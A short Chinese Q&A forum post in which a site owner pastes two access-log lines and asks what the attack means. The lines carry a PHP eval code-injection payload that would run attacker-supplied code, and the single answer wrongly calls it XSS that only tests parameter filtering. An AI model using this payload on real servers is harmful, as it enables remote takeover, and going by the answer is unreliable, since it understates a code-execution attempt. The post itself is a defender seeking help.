非常紧急帮我看看攻击我的程序是什么用意

Question

这个请求想达到什么目的？112.121.170.213 - - [13/Jul/2012:14:33:21 +0800] "POST /tools/jk/mingfang/?q=%B7%BD/?s=abc~abc~abc~$%7B@print(eval($_POST[c]))%7D HTTP/1.1" "1.620" 200 155 "http://www.520.net" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" "43.133.195.127"
112.121.170.213 - - [13/Jul/2012:14:33:35 +0800] "POST /tools/jk/mingfang/?q=%B7%BD/?s=abc~abc~abc~$%7B@print(eval($_POST[c]))%7D HTTP/1.1" "8.668" 200 155 "http://www.520.net" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" "43.133.195.127"

Answer 1

xss  其实就是检测一下你的程序是否过滤了参数